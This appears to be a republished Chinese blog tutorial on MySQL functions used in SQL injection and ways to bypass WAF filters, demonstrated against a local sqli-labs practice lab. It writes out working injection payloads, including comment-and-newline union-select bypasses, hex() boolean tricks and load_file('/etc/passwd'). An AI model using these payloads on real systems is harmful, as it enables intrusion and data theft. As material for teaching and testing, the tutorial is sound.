sql注入常用函数与bypasswaf

0x00前言在sql注入当中会遇到各种各样的waf,如果需要bypass通常会涉及到一些冷门函数的运用,那么我们这时候就需要翻找手册来一个个查询,下面是我这几天收集到的一些常用函数,在waf过滤不

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

0x00  前言 

在sql注入当中会遇到各种各样的waf,如果需要bypass通常会涉及到一些冷门函数的运用,那么我们这时候就需要翻找手册来一个个查询,下面是我这几天收集到的一些常用函数,在waf过滤不严格的时候能有效的去绕过waf。

0x01  了解常见函数

system user() 系统用户名
concat() 连接字符串
user() 用户名
concat_ws() 含有分隔符地连接字符串 
current_user() 当前用户名
group_concat() 连接一个组的所有字符 串,并以逗号分隔每一条 数据 
session_user() 连接数据库 的用户名
load_file() 读取本地文件 
database() 数据库名
into outfile 写文件
version() 数据库版本 
ascii() 字符串的ASCII码值
@@datadir 数据库路径 
ord() 返回字符串第一个字符的 ASCII码值
@@basedir 数据库安装 路径 
mid() 返回一个字符串的一部分
@@version_compile_os 操作系统 
substr() 返回一个字符串的一部分 
count() 返回执行结 果数量 
length() 返回字符串的长度
substring   取值函数
div    除法运算函数 和/ 用法一样
mod: 取余数函数
hex():获取16进制的值

 

查询系统用户名

select system_user();

 

sql注入常用函数与bypasswaf

 

 

 

 

concat_ws 拼接函数

select concat_ws("|","a","b");

sql注入常用函数与bypasswaf

 

 

 这个也是一个拼接函数,在group_concat和concat被禁用的时候就可以使用到这个函数。

char_length 用法:

select char_length('123456') as abc;

 

计算值的长度命名为abc,在sql语法里面规则是这么定的,我也不知道为啥。

 

character_length

select character_length("123") as abc;

 

character_length的用法和char_length基本一样  功能也差不多

 

截取字符串函数

 

 

 

 select left("123",1);

 

从左边开始截取第一个值

select load_file('/etc/passwd');

读取本地的passwd文件

sql注入常用函数与bypasswaf

 

 

 @@datadir  显示数据库的路径

select @@datadir

 @@basedir  显示数据库的安装路径

select @@basedir

那么现在来尝试一下,正常查询语句拼接 and 语句来模拟注入。模拟现在waf 拦截and 1=1 的等于号,那么我们可以使用其他的运算符。

select * from users where id=1 and 1 div 1;

正常

select * from users where id=1 and 1 div 0;

报错

div 相当于sql语句里面的/ 斜杠 也就是除号。

select * from users where id=1 and 1 like 1;

正常

select * from users where id=1 and 1 like 0;

报错

 

like :模糊查询。

select * from users where id=1 and 1 * 1;

正常

select * from users where id=1 and 1 * 0;

报错

只要and 后面的条件成立等于true 就能执行能够判断是否存在注入。

比如绕过还可以使用到hex()这个函数

0x02  bypass waf

and 1=1拦截

and 1  拦截

 

sql注入常用函数与bypasswaf

 

and hex(0)

 

sql注入常用函数与bypasswaf

 

 

 

报错不拦截

 

and hex(1)

 

 

 

sql注入常用函数与bypasswaf

 

 

 

正常绕 and 判断。

那么再来爆出他的字段进行联合查询

order by  不拦截

order by   3正常

order by 4报错

  

字段为3个

使用联合查询来报错数据

 

sql注入常用函数与bypasswaf

 

 

 拦截  那么我们来fuzz一下他拦截的是哪个函数

那么我们还可以使用–+ 和%0a来绕过union select

union select 拦截

union 不拦截

select  不拦截

 

那么拦截的就是他们拼接一起。

我们这时候可以来把他中间的空格位置给fuzz一下。

union/**/select 拦截

union/*abc*/select 拦截

union/*!abc*/select 不拦截,但语句无法执行

 union--+/*!abc*/%0Aselect 语句能正常执行。

 

127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+/*!abc*/%0Aselect 1,2,3

在id后面的位置呢可以加个.0来代替空格,因为mysql 不识别浮点型。

sql注入常用函数与bypasswaf

 

 

 再来试试其他方式

http://127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+hex(0)%0Aselect%201,2,3

一样能成功查询出来。

这时候就可以结合到我们的查询函数user(),来查询看看

sql注入常用函数与bypasswaf

 

http://127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+/*!abc*/%0Aselect%201,user(),3

拦截  那么他拦截的肯定是user()这个函数,再来fuzz一下

user不拦截

()不拦截

那么从他中间插入payload打乱正则。

sql注入常用函数与bypasswaf

 

 成功爆出数据。

0x03  结尾

咱也不知道该说啥,来插个表情包吧!

sql注入常用函数与bypasswaf

 

 

 

 

 

 

select concat_ws(“|”,”a”,”b”);

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119977.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • MFC学习(24)线程锁的概念函数EnterCriticalSection和LeaveCriticalSection的用法

    MFC学习(24)线程锁的概念函数EnterCriticalSection和LeaveCriticalSection的用法线程锁的概念函数EnterCriticalSection和LeaveCriticalSection的用法注:使用结构CRITICAL_SECTION需加入头文件#include“afxmt.h”定义一个全局的锁CRITICAL_SECTION的实例和一个静态全局变量CRITICAL_SECTION cs;//可以理解为锁定一个资源static int n_

    2022年9月17日
    0
  • Vue 绑定使用 touchstart touchmove touchend[通俗易懂]

    Vue 绑定使用 touchstart touchmove touchend[通俗易懂]Vue简单绑定touchstarttouchmovetouchend

    2022年6月19日
    93
  • 冒泡排序算法,C语言冒泡排序算法详解

    冒泡排序算法,C语言冒泡排序算法详解冒泡排序是最简单的排序方法,理解起来容易。虽然它的计算步骤比较多,不是最快的,但它是最基本的,初学者一定要掌握。冒泡排序的原理是:从左到右,相邻元素进行比较。每次比较一轮,就会找到序列中最大的一个或最小的一个。这个数就会从序列的最右边冒出来。以从小到大排序为例,第一轮比较后,所有数中最大的那个数就会浮到最右边;第二轮比较后,所有数中第二大的那个数就会浮到倒数第二个位置……就这样一轮一轮地比较,最后实现从小到大排序。比如对下面这个序列进行从小到大排序:9021132-5834第一轮:

    2022年6月25日
    22
  • 交叉熵代价函数(损失函数)及其求导推导 (Logistic Regression)「建议收藏」

    交叉熵代价函数(损失函数)及其求导推导 (Logistic Regression)「建议收藏」前言交叉熵损失函数交叉熵损失函数的求导前言说明:本文只讨论Logistic回归的交叉熵,对Softmax回归的交叉熵类似。首先,我们二话不说,先放出交叉熵的公式:J(θ)=−1m∑i=1my(i)log(hθ(x(i)))+(1−y(i))log(1−hθ(x(i))),J(θ)=−1m∑i=1my(i)log⁡(hθ(x(i)))+(1−y(i))log⁡(1−hθ(…

    2022年6月14日
    51
  • 网页文字不可以复制_html5实现复制粘贴

    网页文字不可以复制_html5实现复制粘贴大家在上网的时候是否曾经遇到过网页文字无法复制的情况呢?为什么网页文字无法复制呢?或者问如何把不能复制的网页文字复制下来呢?其实,网页文字不能复制原因大部分是网页的制作者为了防止网页内容被被人盗用而设置了复制限制,在网页中嵌入了Javascript语言,通过编程的手段屏蔽了复制功能。下面小编给大家分享下如何把被限制复制的网页文字复制下来。本方法以IE浏览器为例子,打开IE浏览器链接到需要访问的网页…

    2022年10月13日
    0
  • [职场]一般公司入职签合同试用期6个月,合同年限3年,合理吗?

    [职场]一般公司入职签合同试用期6个月,合同年限3年,合理吗?

    2022年2月19日
    79

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号